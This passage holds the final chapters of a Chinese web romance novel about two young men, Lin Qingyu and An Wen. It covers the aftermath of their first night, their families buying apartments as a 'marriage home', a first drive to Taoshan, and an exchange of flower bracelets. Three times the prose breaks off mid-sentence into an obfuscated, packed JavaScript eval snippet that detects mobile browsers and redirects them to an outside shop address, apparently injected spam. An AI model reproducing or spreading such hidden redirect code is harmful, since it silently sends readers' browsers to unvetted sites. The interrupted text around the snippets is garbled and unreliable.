“你把我埋了吧。就这个姿势入土,我没脸见人了。”他心如死灰,视死如归。 安闻脸皮薄,好面子,林清宇知道。他本来是想好好安抚的,但看着安闻在床上板板正正地躺着,脑海中出现了一些不合时宜的画面。 他没忍住嘴欠,“墓碑上写着于某年某月某日死于床上。啧,听上去好像是被活活*死的,我真牛掰。” “别往自己脸上贴金。”安闻侧过头白了他一眼,“还有,说话不要那么粗俗。” 林清宇慢慢挪近,跪坐在床边,下巴搭在床沿上,“现在嫌我粗俗了?我这点儿粗俗也是昨晚你教的。” 回想昨晚,大喊大叫胡言乱语,安闻面红耳赤,他推开林清宇的脸,别过头,“脱了衣服说的话不能听,也不能信。” “不能信吗?”林清宇支棱起脑袋嘟囔道,“我说的话都能信的,我才不会胡说八道,说了就是真的。” “那你再说一次我听听。”安闻微微侧身看着他,眼神睥睨,却暗含期待。 “我爱你。”林清宇从不吝惜对爱人的表白,他拉过安闻的手贴在腮边,轻吻,“从前只说喜欢你,是发现你会害羞,会逃避,怕吓到你。安闻,我爱你,从始至终,一直爱你。” 清醒时候听见这三个字,感觉是不一样的。 那三个字随着林清宇口中喷出的气流,钻进了安闻的耳朵。他感觉头皮痒麻,眼睛肿胀,鼻子酸涩。那种痒麻的感觉一直钻进了他的心脏,随着血液进入了四肢百骸,全身都灼烧起来。 安闻看到他红着的软糯耳朵,被窗外的光一照,微微透明,还粘着细细的小绒毛。 他害羞地偏过头,“嗯”了一声。 “就这?”林清宇捏住他的下巴,强迫他看回来。 “就这啊。”安闻瑟缩了一下,“我知道了。接收到你爱的信号了。” “不行。”林清宇轻吻他的唇,用牙齿细磨,碾转,不依不饶,“你也要说。” “说什么?”安闻微微侧脸,又被林清宇勾回来。 “说你爱我。”林清宇追着吻他,不许他跑,非逼着他将这三个字说出口。 安闻眼神闪躲,他实在说不出口,只能卖力地回应着这个吻。 林清宇哼哼唧唧地求索,“说嘛,说嘛,求求你,行行好,说你爱我。” “我......”安闻尝试着张口,可他还是说不出口,好羞啊,难以启齿。 林清宇盯着他看了一会儿,突然放弃了。 他低下头轻吻安闻的双唇,为他的逃避开脱,“我知道你爱你,你只是从小不习惯表达爱。”他揉揉安闻的头发,莞尔一笑,“没关系,我等你。” 安闻被怀抱着,亲吻着,珍惜着。 他看向林清宇,林清宇的眼睛太干净,太澄澈,像是抱着一汪清泉。 林清宇站起身来,笑着问他,“饿了吧?我去端汤进来。”笑是真的笑,但安闻看得出里面夹杂着的失望。 他内心升起一阵羞愧,这么美好的氛围,这么美好的爱人。 眼看林清宇越走越远,他猛地坐起。 “我爱你。”安闻对着他的背影大声喊出了口。 林清宇诧异转头,看见阳光下灿烂的少年,露出的皮肤都肉眼可见的红,仿佛一掐就能滴出玫瑰花汁来。 “林清宇,我是穿着衣服说的。” 都说爱意无需宣之于口,但你不说,他怎么会坚定地相信呢。 98.婚房 关于昨晚的事,大人们心照不宣。 安闻脸皮虽薄,也不好意思躲在林清宇屋里,太失礼了。 白月洁和林勇平一切照旧,该干嘛干嘛,反而显得安闻有些扭捏。 只是吃饭时候,安闻发现每个人的凳子上都多了一块软和的鹅绒垫子,与窗外的炎炎夏日格格不入。 林清宇家的饭桌也好像一夜之间有了信仰,开始吃素。 平时荤素搭配的餐桌,现在满桌子的清淡小菜,大家推杯换盏,神态自然,仿佛在吃满汉全席。 他默默低下头,捏捏林清宇的手指,小声说,“谢谢。” “不客气,男朋友。这是我应该做的。”林清宇将身子靠过去,给他夹了一筷子青笋丝。 “其实大家不用这么迁就我的。”安闻小声说。 “这叫有福同享,有难同当。” 两人旁若无人的咬耳朵,林勇平盛了碗汤,往安闻处推推,“小闻,准备几号去报道啊?” 长辈问话,安闻立刻坐直,双手撑在桌子上正色回答,“叔叔,H大开学晚,但是我想提前一个星期去H市,有点事情要处理。” “爸,我跟安闻一起走。”林清宇立刻接话,好像两人商量好了似的。 “不,不用。”安闻赶紧摆手,“我是有点私事要办,你在家多待一星期,陪陪叔叔阿姨。” 都说娶了媳妇忘了娘,白月洁在一旁看着,要不是安闻懂事,自己儿子别说爹娘,可能家都不回了。 “瞧你那没出息的样子。”白月洁瞟了一眼林清宇,“你爸在H市买了套大平层,过几天我们也得去办手续。到时候咱们跟着小闻一起走,开咱家的商务车,路上还能舒服点。” “哈哈。”林勇平把筷子放下,慈爱地看着安闻,“本来就想问问你,愿不愿意提前去H市,既然你本来准备要提前去,那咱们正好一起,房子写你的名字。” 安闻脑子乱着,怎么就买了套房?不是给林清宇买的?要写自己的名字? 他惶恐不安地看向林清宇,林清宇一副痴汉脸的笑模样,“我爸给你的,你就收着,正好我不想住宿舍。” 安闻站起来,看向林勇平,“叔叔,其实我提前去也是因为我妈给我买了一套房子,我去办手续。”他瞟了一眼林清宇,“我本来想给他个惊喜的,没想到您也买了。您买的房子,写他的名字就行,我不能要。” 林清宇一听安闻要给自己一个惊喜,眼睛都直了,“装修了吗?你给我什么惊喜,你不住宿舍了吗?” 两人之前说过,大学时候,为了方便学习,还是宿舍方便。林清宇一直以为安闻是要住宿舍的。 “宿舍还是要住的。”当着长辈的面,安闻不太好意思,他低下头,“外面的房子,可以周末过去住一下。” “小闻。”白月洁捕捉了一个问题,他思索着问,“阿姨问一句不太合适的话啊,你别介意。” “嗯,没事,阿姨,你问。”安闻看向白月洁。 “你名下还有其他的房产吗?”白月洁直截了当。 安闻想了一下,说,“我爸的房我继承之后写的我的名字,H市这套房还没来得及办手续。” 白月洁这才放心下,一拍桌子说,“行嘞,剩下的事情,你们不用操心了。我找胜男商量去。” “妈。”林清宇对房子大小地段都没要求,反正房子里有安闻就行,他不满地说,“还商量什么啊,把你们那套退了,我跟安闻住他家去。” 林勇平实在是看不下去了,好好个儿子怎么一谈恋爱跟个傻子似的。他敲了一下林清宇的脑袋,没好气地说,“这玩意儿长着就起个装饰作用的啊?都写小闻名字,他名下房产超额了,H市限购严,你妈是想跟胜男商量商量,咱们的写安闻的名字。他们的挂你名下。你俩换一下。” “哦哦哦!”林清宇反应过来了,“谢谢爸爸妈妈,我没问题,这样安排非常好。” 说完他用肩膀蹭蹭安闻的肩膀,小声说,“一套给你当娘家,一套当咱们的婚房。” 安闻面红耳赤,努着嘴掐他,“胡说些什么。” 大家都知道安闻害羞,饭桌上这个话题也没有继续下去。 其实白月洁和林勇平的意思,就是现在虽然领不了证,但是也要像结婚了一样过日子,买的房子在地铁口,离学校只有两站地,270平的大平层。林勇平选房的时候就是按照婚房选的。 但是那套房子今年才交房,装修通风,怎么也得明年才能搬进去。 兰胜男考虑得更细致一点,在能接受的经济范围内,选了一套交房两年的二手房,屋主简单装修之后,一直没有入住。两人收拾收拾就能住,不用住一年宿舍,也不用在外面租房,而且位置虽然离H大远了些,交通也方便。 两家一商量,迅速达成一致,开学前就先把两人的东西搬过去。等明年新房装修好了,再搬一次家。 准大学生即将开学,紧张焦虑的终归是父母。 出发前一天,白月洁在屋子里晃来晃去,每看见一样东西都想打包给两个孩子带过去。 林勇平虽然嘴上唠叨,“去了再买,去了再买。”但白月洁收拾出的东西,还是一样一样地搬到中厅,等着司机来装车。 安闻的东西不多,早上兰胜男已经都搬到这边来了,等着林家的货车一起拉过去就行。 要说兰胜男也是心大的,把东西和儿子放林家,自己就开车送货去了。 说是金九银十婚礼纪,餐饮服务爆忙,明天没时间送安闻,让他自己开车过去。 安闻都震惊了。 “妈妈,实习驾驶员不能单独上高速的。”安闻提醒说。 “多大个事?让你林叔配个司机给你,在旁边看着你。”兰胜男把安闻往林清宇怀里一推,“正好你能练练车,你俩过去有个车也方便,把你车开过去,那房子楼下能租车位。” 说完大步流星地离开,丝毫没有离别的愁绪。安闻好像被甩开的包袱,就那么被塞进了林清宇怀里。 他有些尴尬地回头,看着林清宇正在跟兰胜男招手,踌躇满志的,“阿姨再见,小闻交给我你就放心吧。我会照顾好他的。” 得,一个扔,一个捡。 丝毫不关心当事人的心情,这可是我第一次长时间离开家啊,连个道别的话都不说。安闻闷头暗戳戳地埋怨。 “宝宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423040|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,兰姨给你买车了?”林清宇揽着他的肩膀问。 “嗯。”林清宇明知故问,明明上次在安闻家院子里,林清宇也见过那台车的,安闻懒得回答。 “你在因为要离开家难过?”安闻肩上的手收得更紧,林清宇推着他走进卧室,在他耳边厮磨,“你有我陪你。而且军训之后就是国庆假期。” 安闻低着头没有说话,眼眶突然泛红,鼻酸,“我只是觉得好像这些年,给我妈添了很多麻烦。” 林清宇坐在窗边的懒人沙发上,拉着安闻坐在他旁边,懒人沙发因为重力转移而凹陷,两人滑到了一个小坑里。 “刚才你一直回避兰姨的眼神,我看得清清楚楚,她眼圈都红了。兰姨舍不得你。”林清宇半压在安闻身上,手在他胳膊上轻抚,“兰姨跟你一样,不擅长表达的感情,其实她害怕离别,把你放在我家,她就不用面对离别的场景。” “而且,把你交给我,兰姨放心。我是能让兰姨放一百个心的好儿婿。”温热的气息拂过,他在安闻的耳边轻吻。 “好儿婿?又开始胡说八道造词了。”他捏起林清宇侧腰的软肉,一提,轻拧,“儿媳还差不多。” 林清宇的本不怕痒,但安闻好像有神奇的药效,只要安闻摸在他的侧腰,他都会过电一般,又酥又痒。 就着躲避的姿态,腰向外侧躲,肩膀向内侧弓,他半趴在安闻身上,不老实的手顺着T恤下摆就摸进了里面,“儿媳也行,那让本媳妇伺候夫君宽衣。” 安闻身体一僵,平时摸摸搜搜也就算了,昨晚刚做过,被林清宇疯狗一样的体力折腾三个多小时,现在不可名说处还隐隐地疼, 他蹭地一下站起来,转了个圈,“林清宇,咱俩出去转转吧。” 转变过于生硬,林清宇耷拉下眼皮嘴角一弯,扯着他的手往怀里带,“还难受呢?” 安闻坚持自我,宁死不屈,绝不向恶势力低头,“你看,大家都在忙着明天出发的事情,咱们养精蓄锐,出去也帮帮忙。” 这就是摆明了今天不会得逞,林清宇痴笑着站起来,“也行,反正不急于一时。到了新房 ,可得好好暖暖房。” 大白天的卧室是不祥之地,不宜久留,安闻终于逃离。 两人来到中厅,看到司机正在往车上搬东西,一件接着一件,大红色的,“谷叔,这是什么?”安闻不解地问。 “夫人说让我今天先送去,帮忙布置一下。”司机停顿一下,为难地说,“呃、婚房。” 安闻倒是没什么,一切听白姨安排,他早已习惯。 反而,林清宇急急地趴在小货车后厢看,一脸期待的样子。 “啊!”林清宇迅速跑回主屋客厅,安闻远远地听见他咆哮,“爸,你管管我妈,她快把婚博会搬回家了!” 安闻幽幽地往货车后箱看了一眼,倒吸一口凉气,床上四件套,搪瓷脸盆,暖壶,推漆梳妆匣子,全是大红色的,而且是双份。 另外,其他东西用红色包袱皮裹住,看不见里面,整个车厢里洋溢着城乡婚礼现场的光彩。 不多时,林清宇垂头丧气地走出来,手里拿着一挂车钥匙,看来是抗争失败,决定离家出走。 99.承诺 “走,出去兜风去。”林清宇揽着安闻的腰往车库走。 “你能开车?”安闻诧异发问,“你有驾照吗?” 林清宇没回答,弯着唇角笑说,“你有,你来开。” 安闻脚步停顿,像是和主人拉锯的大狗一般,惊愕失色道,“我来开?” “嗯。”林清宇拖着他往前走,“我爸妈在给咱们设计婚房,眼不见为净。你带我兜一圈去。车库里有辆自动挡,还挺好开的。” 说不动心是假的,安闻的驾照才到手不到一个月,一次都没真正上过路,但他又担心,“我行吗?”毕竟林清宇家车库里的车都挺贵的。 “你行,咱们不去人多的地方。”林清宇回头,忽然想起来什么,快步往自己屋走去,安闻亦步亦趋地跟着回去,看见林清宇把吉他包从墙上拿下来。 “你会弹吉他?”他有点愣,自从第一次进林清宇这屋,这个琴包就在墙上挂着,安闻一直以为是空的装饰品。 “我先拿上,不一定能用上。”林清宇左手背包,把车钥匙塞进安闻手里,牵起他的手往外走,“咱们去桃山,这个时间没人上山,路上没车,好开。” 安闻跟着他来到车库,本以为林清宇说得有辆自动挡,是自动挡的小轿车,没想到是辆黑色的大吉普。 这下他是真挪不动脚了,他从车头走到车位,绕了一圈又回到驾驶室的位置。 林清宇笑他,“科二学得不错,知道绕车一周,可是这是我家车库。” “你家车库怎么了?万一门缝没关严,溜进来猫猫狗狗呢!”安闻拍他的肩膀,眼睛却一直盯在车上。 林清宇看他口水都快流出来了,反手拍拍他的胳膊,“上车。” 得到车主人的获准,安闻一溜烟爬上了车,他在车厢里左瞧瞧右看看,调节下后视镜,系上安全带,摸清各个按钮和功能的位置。 林清宇见他迟迟不启动车子,反而嘴巴里念念有词。 “先调座椅后视镜,再把安全带牢系......” “踩下离合及刹车,提前适应不出错......” 他解开自己的安全带,凑到安闻眼前去,“你什么时候拿的驾照?” “大概一个月前。”安闻老实回答,担心林清宇看扁自己,他挺直腰杆骄傲炫耀道,“我是同期第一个拿本的学员。” “嗯?”林清宇一挑眉,凑近说,“开车都靠口诀?” 安闻不耐烦地把林清宇推开,继续研究灯光和雨刮器,嘟囔道,“你别小瞧我,37天就拿到驾照,教练说我创了我们驾校的记录。” 唇上落下一吻,林清宇给他演示前后雨刮器操纵杆,哄小孩似的,“是是是,恭喜你荣升小司机。” “什么小司机?男人不可以说小,知不知道?”安闻踩住刹车,启动车辆。 “那你是老司机吗?”林清宇压上来,“老司机,带带我?” 安闻来不及问带什么,温热的气息已经扑在脸上,安闻偏过头,“别耍流氓。” 被林清宇拧正,“摸自己男朋友能叫耍流氓吗?” 安闻不得不又一次推开林清宇,随后解开了自己的安全带,越过副驾扯过安全带,绑在林清宇身上,“老实点,我要开车了。” 踩刹车、送手刹、挂前进挡,汽车缓缓驶出。 安闻神情严肃认真,看得出来紧张,也看得出来兴奋。 “坐好啦!哥哥带你兜风去咯。” 林清宇看他兴奋的样子转念一想,“宝贝,你是不是更喜欢越野?要不咱俩换着开吧。” 安闻目视前方,抿着嘴唇,缓慢地打方向,拐过街角才张口说,“不换,我妈买的那车没你这个贵,你那点小心思别以为我不知道。” 他身体向前趴,看了一眼后视镜,打了左转向灯变道,来到车流较少的主路。 主路上没有行人和非机动车,安闻这才松了一口气回神,“谁是你宝贝啊,别瞎叫。” 林清宇本来想凑到他耳边逗他,但看安闻绷紧身体开车的样子,就没忍心。 两人以平均速度30公里每小时的速度,用时半小时,到达了桃山山脚。安闻又花了将近半小时的时间把车侧方位停在了路边一个较为宽阔的车位里。 从车上下来的时候,他的T恤都湿透了,林清宇牵他的手,发现他手心也全都是汗。 他有些自责,“都怪我,我害你紧张一路。” 安闻把手心的汗蹭在林清宇裤子上,然后与他十指紧扣,“本来是不紧张的,一想到你在车上,难免要谨慎些。” “回去我时候我开吧。”林清宇把手牵到唇边轻吻,“你歇一歇。” “你有驾照?”安闻脱口而出,转念一想自己这个问题太蠢,于是改了口,“你什么时候考下来的?” 两人信步向前,两手紧握,林清宇回答,“生日第二天就去报名,四月底拿的驾照。以后我们可以自驾出去玩。咱俩换着开,走遍祖国的大好山河,我和你。两个人。” 安闻算了一下日子,林清宇在高三没有假期的情况下,用两个月拿下了驾照。 他忽然觉得自己37天考下来的驾照也没什么可炫耀的。 至于为什么那么急,等不到高考之后,原因可想而知,不必多问。 安闻心下一紧,拥着林清宇,坦诚道,“林清宇,我去过A大。上个月。” 片刻无言,林清宇愣着,不知道安闻想要说什么。 “我当时想,如果你不出国,这就是你将来的大学。我想看看今后的四年,你在什么地方生活,这样等我想你的时候,脑海中勾勒出的画面就会是A大。” “那时候,我走过A大的食堂,宿舍,操场,体育馆,还有情人坡。感觉自己真的陪你过了四年一样。但一想到以后你可能会和别人在那里约会,我又很难过。”他的脸埋在林清宇肩上,吸了一下鼻子继续,“当时,我想,但是人是我自己赶走的,后果我来担。但事实上,我承受不了没有你的后果。” 他扶着林清宇的肩膀,双目澄澈,带着悔意,“把你推开,我很后悔。以后再也不会了。你要相信我,我爱你,非常非常爱,比你以为得还要多好多好多好多倍。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434730|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一滴眼泪滑落,充斥着无尽的悔。 “我知道,我现在知道了。宝宝。”林清宇捧起安闻的脸,轻吻掉他眼角的泪,“在一起之后,你所有的行动都告诉我,你爱我,你变着法儿得给我安全感,我都知道,我相信的。” 满目深情化不开,有情人缱绻相拥。 安全感是个很抽象的概念,而在安闻和林清宇的心中,大概就是,我知道你不会离开,也坚信自己不会离开。 未来很美,有你更美。 林清宇心里暖洋洋的,将安闻地手握得更紧。 桃山是市区里一座不高的山,但是夏天酷暑,大路很晒,两人选择了在林间小路穿梭,这样就不能并肩牵手了。安闻在前面开路,林清宇背着吉他包护在后面。 两人半个小时就爬上去了,安闻不禁撇嘴,“一点儿难度也没有。” 林清宇拉着他,让他坐在山顶的大石头上等自己。吉他包被扔在地上,他跑去山顶的小摊买水,意外发现山顶有老式冰淇淋机。 “老板,来两个甜筒。”他晃神想到了什么,又连忙改口,“不,老板,一个就好。” 桃山山脚是清澈的大片水泽,山上郁郁葱葱,远处云雾缭绕,安闻举起手机,随手一拍就是美景。 镜头转动,林清宇左手散漫地拎着矿泉水瓶,右手端着一支甜筒,带着笑意缓慢地走进安闻的镜头。 画面就此定格,林清宇歪头,“偷拍我?” 安闻接过甜筒,舔了一口,争辩道,“拍自己男朋友能叫偷吗?” 林清宇夺回甜筒,把矿泉水塞到安闻手里,“那你也不能光明正大地吃我的甜筒。” 安闻瞬间垮脸,“小气鬼,就不能买两支吗?” 林清宇舔了一口甜筒,然后垂下眸子,有些失落,作势站起,“只是想跟你吃同一支而已,那我再去买一支。” 安闻想起那对街边的小情侣,手拉着手吃着同一支甜筒,那时自己也是疑惑,为什么不能买两支。 原来林清宇都看见了。 他拽住林清宇,红着脸说,“我也不能吃冰的,就吃同一支吧。” 林清宇没有接过甜筒,傲娇地说,“那你喂我。” 安闻嫌弃地把甜筒伸到他嘴边,“多大的人了,还撒娇。” “不是这么喂的。”林清宇说。 甜筒快化了,安闻把手收回来,舔掉融化的部分,疑惑道,“那是怎么喂的?” 林清宇凑近,用行动教学。 安闻的甜筒还在嘴边,他就着安闻的手咬了一口,然后扣住安闻的后脑重重地吻了上来。 大庭广众!众目睽睽! 林清宇就这么吻了下来,安闻慌忙地推开他,气喘,“有人。” 林清宇自己不管不顾,却还要顾及安闻脸皮薄,他把安闻半推半拽地藏在树后,“没事,他们看不见,顶多以为我在抢你的冰淇淋而已。” 安闻靠在树上,被吻到腿软,林清宇把一条腿挤进安闻的两腿之间,阻止他顺着树干滑落。 “男朋友好甜。” 100.结草衔环【正文完】 微风阵阵,夏暖拂面。湖光山色,幽情缱绻。 安闻闭着眼睛,躺在林清宇腿上,懒洋洋地晒太阳。 有情人席地相依,人不语,心自动。 多么美妙的时刻。 前提是某个多动症不拿狗尾巴草扫他的脸。 “林清宇,不要烦。”安闻抬手拨开自己脸边作祟的手。 林清宇消停一会儿,又开始骚扰他的手。 “你干嘛啊?”安闻半眯着眼睛,用慵懒的语气嘟囔,“我都快睡着了,你一直动动动。” 他坐起来,看见林清宇一直盯着旁边不远处的一对情侣。 “看什么呢?”安闻问。 “学习别人怎么谈恋爱。”林清宇答。 安闻不禁失笑,“我们谈我们的,你总学别人干嘛?” “别人有的,我男朋友也要有。”林清宇揉揉手里的狗尾巴草,又摘了几朵草地上的小白花,连同枝蔓一起。 安闻顺着林清宇的目光看去,那个男孩正在给女孩编花环,柳枝和各种颜色的格桑花,圈成一个细密收紧的圆环。 女孩儿欣喜地低头,男孩将花环戴在了女孩头上,两人眉开眼笑,举起手机自拍。 “人家给女朋友编的那么大的花环,你就拿狗尾巴草应付我?”安闻把头靠在林清宇肩上,看他笨拙地把狗尾巴草系成圆。 “要学别人,又不能抄袭别人,我这是在创新。”林清宇一本正经地解释,“而且柳枝是离别的意思,我不要。” 安闻的心就像手中的狗尾巴草,被林清宇揉得乱七八糟。 他侧头亲了一口林清宇,用脑袋蹭着他的脖颈问,“那你现在要干嘛?” 狗尾巴草都被绕成了手腕般粗的环,林清宇把野花枝蔓缠绕在上面点缀,随后偏头回应,“结草衔环。” 安闻不禁失笑,伸出手帮他固定住狗尾巴环,方便他缠绕,纠正他说,“结草衔环比喻感恩报德,永世不忘。不是你那个字面意思。” “嗯?”林清宇将最后一朵小花别好,拉过安闻的手,将花环套在他的手腕上,翻转欣赏半天,“真好看。” “什么好看?”安闻用手拨弄着花环,漫不经心地问。 “你好看。”林清宇轻吻他的手腕,“花环也好看,配你更好看。” 安闻看着林清宇低头,虔诚地在自己手腕亲吻,心里漫上丝丝缕缕的甜。 他站起来,快步跑向林子边,“等我一下。” 林清宇不明所以,在后面着急地大喊,“你慢点跑,别摔着。” 作势就要起来追上去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445005|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安闻边跑边回头,“你就在那儿等我,别动。我很快。” 安闻并没有说话算话,回来的时候,旁边那对小情侣已经收拾东西离开。 他神神秘秘得背着手,林清宇乖乖地站在原地,看着爱人一步一步,向自己走来。 “你做什么去了?”林清宇问。 “结草衔环。”安闻将手中的花环举起,戴在林清宇的手腕上,认真且笃定地说,“林清宇,谢谢你的坚持,谢谢你没有放弃我,谢谢你,一直在爱我。” 格桑花花枝编织的素色手环,上面点缀着铃兰花,一串串,纯白无暇。 林清宇看着爱人的脸庞,幸福溢于言表,“鞋上这么多泥,跑了很远吗?” “我记得山洞边有一大片铃兰,过去碰碰运气。”安闻仰着脸问,“你喜欢吗?” 夏虫渴冰,井蛙向海,林清宇的梦想,便是眼前的爱人。 他捧起爱人的脸庞,满眼柔情与满足,“不是喜欢,是爱。我爱你。” 皓齿星眸,软语温言,安闻轻叩爱人的唇瓣,“我也爱你。” 我收了你的爱,必当厚报,死生不渝。 铃兰花的花语是幸福归来。 桃蹊柳陌,花晨月夕,我们再也不会分开。 ——正文完——